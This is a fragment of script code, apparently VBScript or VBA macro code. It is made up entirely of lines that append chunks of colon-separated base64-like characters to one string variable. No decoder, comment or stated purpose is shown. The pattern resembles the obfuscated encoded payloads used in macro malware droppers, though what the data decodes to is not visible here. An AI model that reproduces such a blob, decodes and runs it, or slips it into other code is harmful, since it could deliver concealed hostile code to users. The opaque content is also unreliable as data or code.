str = str + "P:F:k:M:z:E:D:G:2:A:/:f:r:9:x:A:e:2:V:b:p:Y:a:c:t:H:4:d:P:S:y:3:3:O:q:y:S:o:4:S:T:q:w:M:c:q:p:8:x:C:"
str = str + "A:0:S:5:r:I:9:l:j:X:r:r:d:i:F:X:h:U:n:B:0:9:G:9:c:m:L:v:3:k:+:8:K:H:/:M:F:D:S:v:g:h:y:V:7:j:z:U:J:8:"
str = str + "h:Y:f:Z:j:h:j:C:4:y:x:b:Y:l:D:o:o:3:W:s:8:u:Y:R:H:3:S:t:J:w:F:9:7:x:k:P:v:o:7:q:S:A:N:v:K:d:v:S:Z:g:"
str = str + "j:W:p:t:l:z:n:X:m:6:H:u:a:t:7:k:s:B:q:c:b:M:K:a:U:h:A:r:i:7:n:f:X:F:e:B:W:c:s:A:U:n:j:l:k:7:T:z:X:j:"
str = str + "u:t:A:G:L:5:S:O:M:5:o:6:g:6:N:4:o:P:A:j:U:Z:M:y:U:I:v:L:H:S:+:D:5:V:w:F:M:h:0:8:w:x:A:E:F:E:Y:/:x:C:"
str = str + "4:M:O:5:F:t:x:I:O:U:a:R:n:V:R:S:U:s:u:Z:+:B:0:q:e:Q:F:7:q:1:h:i:9:T:0:b:z:N:f:j:Y:Z:v:s:U:b:O:A:k:w:"
str = str + "X:D:1:n:F:u:z:j:V:Y:5:W:Z:C:p:R:h:y:s:2:+:K:6:x:O:w:E:o:a:E:L:k:+:q:y:M:5:C:o:x:c:g:e:p:M:Q:+:y:9:o:"
str = str + "2:w:z:9:V:d:3:S:y:K:C:r:6:n:l:z:Q:u:y:Z:B:B:B:1:h:6:6:A:2:2:f:a:m:o:2:b:X:U:u:F:+:I:1:w:v:x:f:3:I:Q:"
str = str + "g:D:r:U:G:H:O:E:H:D:s:y:f:L:I:K:m:e:S:1:y:n:D:y:8:+:B:k:s:B:W:+:H:K:+:P:X:R:l:W:o:c:o:z:A:/:D:2:0:e:"
str = str + "J:I:n:3:D:M:G:U:+:X:j:C:u:g:j:M:r:4:O:u:j:q:L:x:a:a:s:d:c:Q:U:C:A:H:Y:U:U:0:K:O:t:y:5:u:F:S:p:e:S:T:"
str = str + "i:7:3:A:j:u:c:Q:a:R:9:x:V:c:8:N:k:R:3:5:9:R:w:0:Z:f:d:e:l:D:u:2:H:+:p:6:I:b:c:g:X:M:g:E:D:v:H:j:z:s:"
str = str + "c:7:U:z:m:d:d:o:j:3:G:j:F:j:G:R:w:I:L:K:V:y:1:s:G:n:1:P:D:I:m:0:T:E:v:y:8:Y:p:H:s:P:6:e:8:p:p:h:A:A:"
str = str + "0:x:C:v:f:g:Y:5:U:4:x:b:B:5:5:h:Y:2:8:q:F:q:9:a:1:V:w:G:G:i:X:e:Z:y:a:m:p:w:w:h:T:P:s:p:e:2:X:x:m:4:"
str = str + "F:n:j:g:6:J:q:/:G:M:4:o:e:P:A:6:9:B:j:9:G:j:S:o:/:z:f:W:T:a:6:O:z:+:C:+:I:s:U:O:H:A:6:6:o:T:e:T:x:o:"
str = str + "s:8:s:U:E:G:L:W:X:T:m:s:f:S:i:i:Z:n:w:q:1:K:P:O:0:k:J:J:h:z:w:K:v:f:1:j:6:Y:e:s:3:y:p:q:h:/:i:R:Z:n:"
str = str + "Z:d:t:A:S:e:R:L:s:B:k:K:G:m:g:i:K:v:i:j:4:u:Q:4:F:y:A:H:o:l:N:P:o:3:3:1:x:+:6:6:A:O:e:f:5:S:J:7:2:W:"
str = str + "t:f:H:7:s:F:0:H:K:v:3:z:J:9:W:p:/:/:8:x:l:J:U:L:M:c:p:a:1:m:2:7:W:z:V:t:x:7:X:a:A:o:f:b:X:f:T:n:A:c:"
str = str + "I:B:g:N:Z:6:0:Z:d:Y:y:e:n:+:Y:R:X:1:B:u:J:G:b:I:4:t:w:7:I:W:c:H:k:t:C:p:I:E:J:w:m:r:n:x:L:h:j:P:i:d:"
str = str + "V:Y:f:E:T:/:C:L:u:P:V:9:r:I:N:v:l:2:y:6:Y:9:m:o:J:i:t:E:i:W:d:s:9:1:A:E:J:h:Z:B:D:q:7:S:J:y:P:r:0:A:"
str = str + "c:k:m:7:/:x:R:A:+:C:E:7:X:n:C:3:n:l:L:K:n:l:6:O:d:L:V:y:T:9:B:D:z:h:k:u:M:B:Y:s:S:N:i:q:p:X:5:m:5:d:"
str = str + "h:B:U:g:m:X:X:S:9:9:1:D:L:C:j:8:A:z:b:a:9:2:K:z:9:h:9:S:7:s:P:y:r:F:N:j:z:J:H:O:e:p:m:z:J:g:N:S:k:O:"
str = str + "J:N:G:B:x:7:B:L:b:3:p:Z:Z:W:E:p:y:0:o:C:z:M:m:j:i:2:q:Z:T:9:x:K:U:c:0:Q:b:B:x:w:9:a:c:H:Y:/:Z:z:U:2:"
str = str + "L:J:C:I:B:n:D:v:K:P:M:Y:g:0:0:r:b:D:g:W:O:z:U:8:J:1:w:q:v:2:J:I:6:u:B:u:V:2:y:I:G:e:v:w:A:p:n:p:4:l:"
str = str + "8:u:3:y:S:m:6:2:U:L:j:g:f:i:l:F:y:h:r:P:2:N:F:w:B:C:H:S:6:A:C:J:5:a:e:+:Q:g:q:n:0:a:T:o:v:I:h:8:/:k:"
str = str + "x:v:S:1:F:E:R:L:1:I:C:6:8:J:1:a:p:/:c:D:a:N:X:E:/:B:u:+:X:c:k:K:R:a:N:E:o:k:u:T:p:d:z:L:Y:F:B:M:t:O:"
str = str + "b:D:6:E:v:c:c:8:2:r:j:J:r:5:B:I:G:o:8:Y:z:c:7:h:q:s:y:h:F:I:G:V:B:r:/:+:i:h:O:V:I:L:C:6:A:T:e:l:5:0:"
str = str + "m:w:I:3:O:A:1:w:d:A:/:2:X:X:1:I:j:H:W:+:W:Y:S:C:N:w:g:8:X:V:X:u:Q:T:S:3:K:i:Z:/:j:G:W:T:t:1:Q:K:Q:W:"
str = str + "r:y:k:a:Z:R:s:7:F:k:x:R:y:Q:z:a:W:L:O:k:c:+:V:Q:6:G:I:E:a:y:w:F:8:Q:o:4:W:J:s:V:S:D:c:m:4:6:U:F:8:f:"
str = str + "t:E:l:V:N:B:n:j:e:b:y:l:N:l:v:h:r:1:T:r:V:5:Y:d:l:V:k:8:e:s:7:O:/:A:f:U:6:d:2:W:Z:O:m:k:A:/:p:t:C:q:"
str = str + "D:Y:f:w:b:T:x:+:q:b:x:R:Z:O:5:6:5:8:H:x:3:1:T:w:k:Q:p:f:0:9:T:0:q:z:2:7:C:I:3:Z:0:V:d:q:h:Z:f:M:U:o:"
str = str + "O:9:z:U:T:H:k:S:H:x:9:T:d:L:D:y:j:o:Z:s:u:1:i:h:f:S:w:7:Q:H:Q:g:c:N:K:O:V:G:4:I:i:u:5:f:d:m:R:P:G:1:"
str = str + "X:V:V:I:s:G:V:O:Y:v:a:h:P:8:q:b:y:F:v:p:/:P:k:L:t:J:N:V:1:I:U:0:I:f:6:v:h:X:I:y:Z:n:3:M:k:R:e:Y:h:i:"
str = str + "b:k:S:b:W:i:E:0:+:d:n:o:L:N:M:F:q:0:q:E:d:k:9:7:W:H:Z:A:h:Q:V:C:g:u:r:g:s:C:t:Y:v:N:m:t:X:8:V:O:W:K:"
str = str + "H:O:5:W:l:k:Y:i:e:F:2:f:2:O:L:l:U:B:H:8:B:0:E:8:z:Y:C:t:Q:B:I:1:f:N:g:V:E:P:O:8:6:g:z:Y:V:w:v:f:6:Y:"
str = str + "s:1:+:b:A:V:C:y:2:8:l:2:y:c:r:p:Y:E:3:q:6:x:s:V:u:9:H:u:4:U:y:y:1:S:e:r:7:r:e:g:B:R:t:i:u:C:v:W:y:U:"
str = str + "I:M:x:I:8:2:C:j:b:9:B:D:u:I:7:I:A:+:J:0:Y:C:H:U:0:G:g:2:J:o:Q:U:q:d:r:f:O:Z:8:V:K:p:D:p:b:A:S:C:4:F:"
str = str + "l:E:e:d:a:w:9:5:9:+:5:U:I:b:2:z:q:c:d:+:e:z:g:+:H:c:h:8:H:n:X:O:D:+:i:h:3:V:T:O:Z:g:e:e:a:E:C:P:y:0:"
str = str + "V:3:K:t:5:A:t:C:x:p:l:k:7:9:z:p:3:6:8:F:A:d:D:Y:L:P:u:3:8:m:L:N:K:f:j:z:0:e:5:l:q:o:E:H:n:k:s:3:E:l:"
str = str + "g:K:K:i:F:e:k:E:S:b:F:j:I:s:M:Z:n:M:G:+:L:S:v:k:n:s:D:q:K:3:e:Q:x:n:6:k:R:E:F:9:k:/:j:8:b:J:I:d:C:m:"
str = str + "y:F:E:7:r:V:T:7:z:b:N:D:O:m:B:P:d:O:V:l:A:Y:1:f:m:/:N:c:i:D:e:r:u:a:4:U:Z:C:8:s:f:p:V:3:s:h:5:R:n:L:"
str = str + "s:S:U:K:2:r:V:U:A:q:L:V:a:d:1:L:i:Q:r:f:3:b:g:W:x:w:P:r:N:d:K:i:v:d:a:w:F:E:F:C:9:m:d:c:5:7:P:6:G:H:"
str = str + "M:J:9:1:6:i:S:5:E:Z:U:O:F:Y:c:P:9:0:c:e:r:6:L:E:+:c:L:H:Q:0:4:b:h:0:q:Y:B:D:Z:i:O:c:d:c:c:P:O:t:B:G:"
str = str + "J:Z:E:n:k:O:H:8:/:b:o:4:P:g:t:H:N:s:+:L:U:b:r:+:A:s:E:7:W:E:y:j:x:9:b:X:K:u:L:k:5:z:q:w:o:/:x:j:u:f:"
str = str + "R:F:1:M:m:U:S:D:+:o:D:d:f:Y:V:P:M:R:o:8:Y:a:Z:W:s:L:e:g:w:N:M:O:Y:g:3:O:D:7:b:G:A:a:j:N:P:U:R:0:K:X:"
str = str + "3:I:B:A:v:e:i:K:Q:1:n:d:H:h:f:G:v:q:V:2:C:4:c:q:N:Q:f:n:l:E:8:n:w:M:6:V:T:K:2:/:s:Z:G:2:M:h:d:n:U:q:"
str = str + "x:b:j:N:5:3:m:n:2:t:y:V:R:F:r:e:Z:o:q:7:G:T:N:w:w:i:n:t:d:g:r:8:v:Q:R:m:d:S:L:B:I:o:2:w:6:z:p:1:R:M:"
str = str + "B:y:l:r:q:O:p:k:P:L:A:Y:6:Y:l:K:C:/:E:Z:L:7:X:1:y:r:a:k:z:M:a:S:H:f:w:z:L:T:Y:9:d:/:b:a:c:g:C:m:b:b:"
str = str + "9:M:f:d:u:x:g:6:Z:q:y:Q:I:b:5:N:A:1:e:S:6:a:b:v:E:D:a:z:x:t:Y:v:v:A:V:F:u:4:m:I:e:B:h:j:X:H:p:u:U:Z:"
str = str + "X:d:n:N:E:S:v:A:q:4:S:y:J:G:R:T:o:H:F:X:+:2:K:s:J:r:j:/:A:a:I:g:C:e:y:4:H:P:9:f:2:6:h:d:p:l:S:F:K:c:"
str = str + "Z:C:Z:6:K:U:x:x:D:T:V:T:5:h:K:u:A:u:w:U:3:s:f:u:Q:t:H:P:/:o:G:L:S:K:f:x:p:o:E:8:5:y:z:j:Q:M:E:4:v:9:"
str = str + "v:z:n:6:G:3:w:6:3:7:M:g:W:1:M:y:S:Q:r:j:c:e:h:B:b:C:O:E:x:6:q:w:R:J:p:h:j:r:S:I:9:c:J:u:6:7:K:2:P:y:"
str = str + "j:d:S:h:W:M:z:X:B:s:d:i:Z:8:Y:2:q:l:G:Q:6:i:Z:X:z:u:l:F:z:V:Q:F:H:e:S:4:s:r:d:Q:R:O:2:C:a:O:O:e:q:g:"
str = str + "H:X:j:w:y:m:B:5:n:H:f:z:N:M:g:D:F:t:b:Y:N:P:t:V:2:m:6:O:Q:P:Z:t:h:1:J:V:1:U:o:t:J:E:+:y:6:u:S:H:P:o:"
str = str + "a:c:n:3:M:d:c:s:q:M:d:t:E:4:q:3:a:D:H:y:/:B:j:s:S:p:V:P:6:B:X:8:U:0:v:0:c:6:q:J:p:u:z:i:T:i:u:x:a:e:"
str = str + "h:K:i:E:y:+:V:q:D:C:D:f:q:F:3:t:y:a:G:N:4:F:M:I:h:o:X:G:J:m:u:f:q:P:F:m:s:e:n:w:k:R:m:K:b:u:a:d:0:H:"
str = str + "Y:P:2:y:m:E:L:E:y:0:o:1:p:t:f:T:B:N:a:n:/:I:u:L:+:1:y:C:y:I:Q:K:Y:n:D:d:g:b:4:y:i:R:4:j:a:q:6:w:Q:U:"
str = str + "z:t:+:h:K:g:i:V:V:K:k:3:0:y:L:r:Y:T:s:T:r:c:L:r:r:H:I:Y:c:h:w:9:O:U:4:u:H:V:T:1:X:O:s:F:J:Y:a:6:r:N:"
str = str + "c:X:y:7:M:h:n:L:b:N:s:v:t:m:S:l:H:2:w:x:b:5:D:o:n:d:R:V:I:/:i:B:E:V:o:c:v:I:S:Z:m:D:r:t:T:p:d:L:C:i:"
str = str + "I:F:e:D:I:F:B:z:Y:p:I:/:E:z:f:H:S:5:P:Y:r:6:v:F:L:/:z:i:g:f:P:7:X:U:x:J:p:e:G:9:P:T:i:j:t:x:T:6:m:f:"
str = str + "4:N:O:1:i:D:U:9:l:N:y:V:K:B:p:i:V:4:J:H:U:6:n:1:E:F:B:Z:A:N:i:N:o:o:d:7:x:K:/:d:8:e:L:Y:Z:5:5:v:P:u:"
str = str + "e:S:V:C:6:H:u:0:Z:4:E:D:d:Q:l:O:0:+:J:E:p:h:5:S:u:/:F:0:h:d:1:H:E:v:W:w:m:L:Z:L:O:o:c:3:H:z:E:1:6:t:"
str = str + "g:/:K:B:/:Z:t:d:P:t:O:V:q:N:8:3:o:S:A:+:7:A:O:s:Q:u:g:/:j:g:P:8:z:k:Z:v:E:C:K:0:V:8:e:l:u:8:7:y:r:f:"
str = str + "9:N:f:k:t:Q:s:/:M:2:A:O:s:A:p:n:c:e:7:I:9:z:f:l:+:A:a:F:E:o:l:t:T:h:T:8:D:q:E:y:u:0:x:T:9:u:7:7:I:7:"
str = str + "N:n:3:Q:a:Q:o:B:F:p:0:O:+:n:4:q:7:b:V:B:D:7:T:N:a:I:5:o:c:H:K:/:4:r:a:L:A:y:a:E:D:E:i:i:8:3:q:x:u:u:"
str = str + "J:V:E:X:s:A:j:Q:m:2:d:5:z:0:a:M:O:r:j:p:n:P:i:n:j:P:a:q:/:q:K:G:y:S:C:/:x:j:o:n:/:q:t:e:v:V:e:P:5:W:"
str = str + "m:e:e:Z:o:n:H:B:H:V:1:u:+:m:X:7:o:0:k:j:t:T:w:9:S:r:m:z:G:f:X:3:Y:X:M:Z:b:s:m:M:1:x:B:L:x:R:m:e:J:d:"
str = str + "7:C:k:E:L:S:T:X:p:y:k:s:v:I:z:R:G:v:/:y:C:2:i:9:r:Y:x:S:h:x:Z:R:N:1:o:2:w:Q:4:O:X:Q:3:t:b:q:j:9:4:f:"
str = str + "2:l:b:2:J:y:E:a:k:z:W:P:P:V:S:u:/:y:K:c:z:o:v:m:i:A:O:Y:7:/:I:n:2:J:n:u:a:5:L:K:v:u:g:o:A:K:w:F:K:T:"
str = str + "9:i:h:W:8:u:h:v:B:s:f:Z:I:C:s:c:1:4:J:W:f:R:B:u:Z:8:t:/:1:Q:3:5:/:H:2:B:j:c:H:z:B:i:v:5:v:H:7:A:F:L:"
str = str + "7:4:a:S:D:1:s:X:a:Z:e:W:u:c:B:A:d:C:/:e:u:U:y:o:j:C:Q:j:Z:C:x:E:E:Q:3:z:S:S:W:u:M:E:b:S:K:a:J:p:9:3:"
str = str + "F:U:C:P:K:2:u:P:P:u:1:r:N:x:/:F:f:5:c:c:p:Y:3:O:m:3:8:v:X:g:0:I:n:m:V:Z:N:y:M:d:i:V:o:I:P:D:T:1:z:9:"
str = str + "d:S:8:Z:N:4:E:o:w:S:U:z:J:Q:J:W:u:C:x:q:a:n:B:m:D:f:t:T:6:f:p:w:B:S:R:v:I:C:C:B:N:4:A:1:I:d:w:P:C:5:"
str = str + "b:K:u:G:t:5:H:O:j:c:A:d:r:3:a:v:i:y:t:i:+:W:w:s:s:V:z:w:m:D:W:3:N:3:F:O:g:7:v:e:g:5:a:9:r:M:D:2:r:2:"
str = str + "K:O:S:X:O:/:i:8:c:a:Q:m:L:8:/:/:t:Y:Y:/:j:c:O:O:r:M:J:t:0:F:R:E:g:8:+:E:Q:c:4:O:c:W:Y:1:U:g:r:F:Q:H:"
str = str + "H:s:y:h:c:x:0:j:e:K:G:a:F:U:5:W:k:2:5:r:J:l:l:W:u:w:U:l:M:T:M:+:e:D:q:X:u:h:6:y:i:4:0:X:6:f:Z:d:H:m:"
str = str + "t:h:2:4:6:2:c:4:/:8:U:o:x:N:H:X:H:F:G:0:s:0:D:w:K:z:1:A:Q:P:1:4:5:k:y:q:8:W:b:8:8:+:r:M:U:H:6:E:+:E:"
str = str + "d:v:K:f:z:J:c:v:M:M:J:T:E:z:2:Q:g:v:P:c:+:h:g:q:e:w:I:F:F:s:l:7:3:+:i:P:4:L:+:1:3:f:4:K:N:k:Q:3:i:n:"
str = str + "L:F:t:t:G:M:0:F:f:K:U:C:M:e:q:n:j:P:i:U:l:Z:P:o:q:w:y:r:u:K:G:D:G:k:N:w:A:Q:R:z:a:3:5:W:X:M:t:e:S:X:"
str = str + "f:p:U:E:K:Y:g:Z:A:B:1:I:0:Q:R:C:v:p:X:/:4:4:Q:9:V:4:U:F:n:P:g:R:L:o:V:V:G:A:k:8:E:6:j:/:y:X:o:5:Z:K:"
str = str + "R:P:X:E:E:k:h:b:J:i:O:W:i:G:2:H:S:z:f:u:s:/:4:v:V:Q:6:X:c:e:j:o:H:k:n:b:1:t:L:2:w:w:a:d:O:6:c:t:U:+:"
str = str + "b:C:X:L:r:l:0:N:F:F:d:M:D:0:w:O:E:5:/:k:A:o:G:F:G:T:L:/:5:z:L:p:s:o:/:F:Y:g:H:4:d:N:r:U:u:6:2:M:X:C:"
str = str + "+:P:m:G:T:b:D:L:i:W:u:8:3:T:m:g:l:X:F:X:c:a:d:c:/:A:i:d:i:8:T:t:Q:0:z:7:r:q:n:d:N:l:Y:/:j:z:K:S:y:t:"
str = str + "H:P:A:v:H:W:o:e:Z:b:n:1:X:b:M:e:t:w:o:j:k:U:c:n:j:b:a:a:W:u:E:e:A:1:N:U:L:b:v:o:D:6:o:K:9:U:A:c:x:J:"
str = str + "/:c:A:H:7:T:6:+:e:j:3:l:b:f:A:f:T:E:Z:a:j:t:r:k:P:+:k:E:m:6:7:F:R:F:Q:U:q:/:D:u:j:K:l:v:D:U:e:U:H:B:"
str = str + "s:T:e:r:O:1:x:R:L:P:D:K:v:q:L:4:o:t:Q:g:D:I:+:b:F:7:1:p:i:h:u:c:Y:6:2:b:t:i:J:6:u:m:e:5:8:J:o:z:i:8:"
str = str + "u:w:R:o:x:B:1:q:6:I:I:Y:T:a:Q:l:D:z:E:P:Q:t:d:Q:8:L:c:g:F:q:n:Q:r:v:/:y:r:N:e:x:v:t:P:F:L:/:b:p:/:v:"
str = str + "7:1:B:A:z:/:e:s:s:L:4:M:Y:l:r:I:n:e:3:2:P:y:0:T:R:m:P:j:Q:u:f:G:e:j:6:x:f:F:z:O:E:d:r:b:o:b:V:7:R:O:"
str = str + "e:P:T:G:N:f:w:y:t:X:w:8:3:Q:u:z:c:c:b:d:c:1:d:/:Y:r:v:Z:N:V:Y:2:/:l:u:5:I:j:y:C:2:F:y:N:m:m:I:s:P:o:"
str = str + "a:o:f:r:s:w:x:/:X:O:P:5:j:r:3:q:c:M:l:X:p:R:I:o:y:i:4:y:e:K:d:A:j:A:5:p:F:0:j:t:u:q:/:v:f:7:g:h:F:B:"
str = str + "W:K:J:t:8:1:w:r:l:5:n:n:x:e:C:h:H:w:W:J:j:2:/:F:h:o:J:a:Q:7:1:G:4:C:m:9:T:k:j:8:+:l:r:j:X:6:Z:4:0:T:"
str = str + "l:7:R:W:w:B:l:T:A:A:b:j:f:2:s:9:/:l:u:H:r:/:5:2:A:H:p:b:m:J:k:G:q:8:x:m:7:F:T:V:R:h:V:T:a:i:8:H:t:I:"
str = str + "g:d:v:I:H:8:E:B:1:j:S:m:d:P:q:7:N:S:L:J:S:a:r:z:E:n:j:h:M:c:a:f:C:a:T:X:k:i:9:6:9:k:Q:n:L:k:8:K:i:i:"
str = str + "y:R:H:e:D:R:d:m:J:j:F:k:1:Y:t:L:4:U:Z:S:A:l:a:A:s:g:p:m:B:J:J:A:X:b:1:G:Z:K:o:l:U:8:i:M:D:6:y:Q:N:/:"
str = str + "n:A:T:L:b:9:U:p:i:Y:z:9:T:E:l:y:b:A:U:y:u:3:S:1:1:1:m:j:l:r:f:x:/:B:Y:C:b:L:F:B:r:n:q:e:b:r:a:W:v:r:"
str = str + "L:c:z:p:x:f:H:I:A:j:9:n:E:E:u:8:S:l:1:G:j:f:e:j:H:B:1:7:k:G:5:m:r:/:H:4:u:r:u:/:n:2:1:J:/:h:O:o:n:B:"
str = str + "k:l:q:1:r:G:G:f:k:R:o:M:Y:E:S:4:8:w:2:i:P:L:e:L:k:W:e:4:8:T:e:q:D:w:4:Z:x:c:/:G:O:N:y:A:v:n:M:z:u:u:"
str = str + "j:a:n:5:4:G:J:z:g:e:F:L:M:U:g:s:w:w:7:P:3:h:d:t:0:u:K:Y:j:M:U:O:E:b:v:k:i:f:6:x:S:z:N:2:g:u:U:S:O:U:"
str = str + "d:X:K:G:D:P:l:s:r:v:b:e:V:h:t:w:M:u:A:p:P:L:T:i:p:d:s:4:q:j:W:u:b:T:k:8:8:v:R:7:P:o:+:P:D:t:c:j:h:R:"
str = str + "9:M:y:R:u:8:+:h:D:Z:q:P:H:D:y:0:K:U:0:K:l:J:Q:z:T:c:L:N:J:N:6:b:x:S:9:5:A:P:7:a:Y:O:u:D:k:Z:4:M:v:z:"
str = str + "A:G:r:1:m:r:B:J:I:9:C:w:8:p:Q:m:b:6:j:A:V:p:q:2:o:a:Q:Q:l:V:y:r:v:V:i:g:M:6:S:a:r:i:Q:O:t:Q:m:r:L:c:"
str = str + "A:V:f:3:2:C:Z:d:4:B:9:M:B:T:e:j:q:2:N:W:S:Q:M:2:h:M:2:L:O:+:e:q:K:I:3:7:W:t:G:9:t:M:H:h:p:S:C:d:3:S:"
str = str + "Z:3:9:+:4:s:S:T:z:B:e:V:C:E:G:J:C:M:x:G:H:t:4:W:R:z:U:W:z:L:u:Z:B:V:/:M:4:8:R:P:L:D:q:T:C:V:x:M:c:/:"
str = str + "f:S:B:R:s:a:M:M:w:Z:y:+:/:3:Z:o:M:T:3:G:E:I:q:J:L:t:W:6:F:V:f:8:W:U:y:W:4:l:a:4:6:i:M:O:E:J:e:p:U:K:"
str = str + "D:e:w:V:F:f:N:k:h:f:m:9:Z:Y:/:G:m:H:6:H:D:k:y:Y:N:3:1:k:X:5:L:H:a:C:L:w:r:S:Y:E:6:Q:2:L:Q:M:m:L:5:X:"
str = str + "l:C:e:T:Y:m:h:I:H:o:z:r:x:1:x:O:e:R:d:Y:Y:4:B:o:D:H:z:1:N:K:t:Y:z:2:e:b:7:i:O:2:R:3:f:7:y:r:H:s:v:b:"
str = str + "M:0:q:T:Y:r:U:h:6:D:i:K:/:d:B:N:l:/:3:v:G:5:E:K:H:P:3:j:t:M:h:O:f:q:Q:u:+:g:C:z:x:u:O:X:4:I:u:S:/:l:"
str = str + "O:o:r:x:C:S:A:r:4:q:U:K:0:h:8:R:r:N:w:z:0:Z:4:2:T:p:x:w:T:Z:H:k:y:5:D:q:S:D:V:9:D:U:o:v:C:V:Y:4:k:Q:"
str = str + "F:b:T:+:L:c:P:F:6:h:J:o:p:9:q:s:Y:g:j:U:Z:y:i:d:8:4:F:Y:9:N:C:X:l:a:1:J:g:R:L:2:C:R:1:1:L:z:I:w:H:O:"
str = str + "A:c:u:z:t:B:e:W:c:E:3:3:e:t:S:x:S:u:y:W:D:p:Z:I:+:I:f:z:H:h:U:J:B:l:Y:C:5:y:X:2:q:4:e:1:u:L:W:F:t:p:"
str = str + "L:x:9:1:4:C:B:k:u:+:L:0:9:a:q:m:g:p:H:B:p:J:I:/:0:o:h:g:9:Y:r:c:w:p:5:Z:c:c:Y:U:2:p:r:i:c:2:8:J:8:Z:"
str = str + "b:u:3:P:E:7:+:x:l:r:0:M:U:j:s:G:V:o:s:c:F:a:C:L:y:v:1:z:T:7:h:9:8:h:0:K:X:D:L:R:O:E:Q:N:L:k:0:7:T:K:"
str = str + "I:D:Z:t:S:f:H:2:L:T:9:s:6:T:r:h:L:K:5:f:b:f:2:m:Y:W:z:l:D:p:o:G:i:4:Q:w:c:E:S:X:e:7:e:J:d:p:C:s:+:K:"
str = str + "n:z:h:T:y:d:0:O:G:e:d:2:x:k:2:i:A:O:q:h:N:V:7:z:b:U:u:O:l:d:f:m:y:g:i:X:W:v:z:x:O:S:5:Y:6:k:d:v:e:P:"
str = str + "e:O:C:G:Z:F:V:e:P:u:x:4:m:L:p:J:W:v:n:K:7:o:s:t:8:d:k:0:T:g:2:u:A:G:b:Q:g:T:C:k:g:N:P:p:b:K:c:6:a:Y:"
str = str + "A:S:P:3:T:3:3:x:3:y:G:h:0:5:X:d:i:C:S:Q:+:6:6:9:R:J:c:6:h:8:y:4:n:s:p:G:n:r:U:O:0:F:6:w:A:q:I:T:b:G:"
str = str + "S:r:k:N:z:s:M:A:y:6:L:W:5:R:i:j:p:e:l:V:G:M:f:b:K:/:0:X:f:g:2:i:k:F:0:k:c:h:0:p:8:O:8:N:P:o:r:g:d:N:"
str = str + "6:l:q:s:D:/:r:s:y:T:T:4:T:G:I:7:O:m:A:F:w:+:K:h:9:o:o:q:A:x:L:3:0:T:S:y:D:Q:N:6:2:O:z:2:u:9:A:d:s:W:"
str = str + "a:K:1:9:g:J:o:d:g:Z:W:J:Q:9:a:k:0:E:M:q:A:5:i:j:S:h:h:M:b:1:E:+:7:g:u:b:r:b:N:W:2:9:7:i:0:M:l:E:i:e:"
str = str + "D:J:9:B:A:t:8:K:1:o:C:B:j:j:u:G:r:g:d:W:f:T:c:f:f:n:S:1:v:m:+:S:4:Z:w:E:g:I:L:t:z:O:J:4:2:c:H:y:K:x:"
str = str + "A:1:T:w:q:n:h:K:t:z:b:P:d:t:f:r:Z:7:P:A:t:t:q:U:9:5:B:r:c:M:B:h:y:z:h:r:d:C:f:i:h:s:r:b:x:k:v:X:j:P:"
str = str + "A:A:j:y:i:j:n:+:l:6:P:m:c:M:N:G:u:p:j:K:M:e:8:E:2:k:A:2:J:T:B:q:d:o:2:H:B:b:h:+:x:6:Q:V:8:2:m:S:E:n:"
str = str + "h:w:b:O:g:O:q:3:X:2:s:f:+:N:4:z:I:p:2:Q:v:K:e:F:S:A:r:s:a:J:q:S:c:Y:R:P:K:u:N:A:/:R:1:5:w:Z:Y:t:m:H:"
str = str + "2:T:D:K:a:l:l:Z:E:+:G:s:X:u:N:i:5:J:g:/:b:2:9:P:2:y:p:5:A:0:z:X:X:c:T:S:C:j:s:u:f:C:l:K:d:V:7:i:z:I:"
str = str + "d:u:t:P:x:u:M:z:s:0:T:z:e:+:U:2:+:H:h:Z:d:u:y:H:1:5:p:/:E:o:e:7:9:g:r:E:x:W:h:h:J:W:m:N:2:+:n:S:Z:D:"
str = str + "8:n:o:C:u:u:h:C:v:a:Q:n:O:Z:p:1:C:K:D:u:S:z:c:E:o:8:L:a:e:f:O:P:G:J:o:b:q:Q:F:h:g:m:K:C:9:U:x:Q:m:c:"
str = str + "S:F:2:0:N:n:D:e:H:1:H:u:e:j:/:5:t:h:Z:L:Z:m:J:B:+:E:0:b:x:z:x:W:Z:G:l:B:C:G:i:h:+:o:n:R:y:e:w:k:2:a:"
str = str + "Y:E:E:0:I:z:z:v:Y:X:L:0:y:Q:3:m:G:/:N:+:g:P:H:O:7:G:v:n:d:+:z:i:9:2:y:J:w:a:o:m:M:E:4:L:c:s:v:O:s:8:"
str = str + "J:w:q:t:U:Z:H:T:2:z:X:u:z:d:x:g:o:m:8:G:B:d:l:W:p:Q:n:0:m:x:B:W:q:w:J:N:h:C:b:/:i:H:X:9:X:I:a:v:z:3:"
str = str + "I:Q:U:C:x:S:i:Y:5:P:/:y:s:i:Y:D:A:2:Q:e:6:x:l:n:O:e:X:A:R:V:b:7:W:E:L:v:4:Z:5:F:m:5:F:l:X:Y:E:V:K:V:"
str = str + "T:w:t:3:/:O:e:+:M:E:Q:J:S:p:0:V:m:i:P:j:l:0:B:u:S:M:f:j:o:u:R:W:A:u:I:H:V:O:V:C:s:D:X:B:5:/:R:w:d:2:"
str = str + "+:I:x:4:F:X:e:Y:2:S:c:6:J:h:Y:G:i:v:w:Q:7:d:o:v:n:0:E:o:4:6:T:Z:b:9:u:M:2:V:Z:l:g:s:i:8:G:y:B:C:w:c:"
str = str + "L:G:M:r:L:E:L:+:b:v:/:A:S:v:E:/:2:H:z:g:J:0:3:u:E:X:D:V:O:Q:h:h:u:K:D:V:s:h:e:5:y:G:Z:3:x:L:5:c:K:m:"
str = str + "w:U:U:j:U:A:v:D:Z:Z:/:T:V:T:R:o:H:b:x:T:L:b:T:j:R:b:f:F:j:y:z:A:W:Q:r:U:6:6:P:W:j:z:X:D:e:n:Z:B:E:c:"
str = str + "+:+:b:t:X:b:o:G:+:y:S:H:l:F:S:W:R:E:H:w:9:B:Z:u:L:D:e:l:V:u:z:I:/:G:O:J:s:G:x:0:+:g:m:x:B:c:G:X:9:h:"
str = str + "W:I:k:L:C:X:f:3:O:k:L:L:O:e:r:d:p:z:c:U:0:X:w:O:D:j:s:Z:f:T:e:T:V:B:q:9:a:U:+:T:3:p:V:1:7:9:U:Y:2:r:"
str = str + "Z:V:+:G:B:z:T:L:A:u:b:X:e:R:C:v:S:L:k:7:k:h:G:w:H:z:3:Z:j:K:K:3:B:D:b:B:V:I:z:n:P:5:P:G:Z:9:3:4:3:v:"
str = str + "Q:T:i:j:R:E:o:g:1:O:m:z:N:n:P:8:g:j:3:Q:c:j:s:4:c:2:s:K:5:j:5:0:W:9:x:d:w:s:R:5:t:b:q:u:B:O:V:U:K:v:"
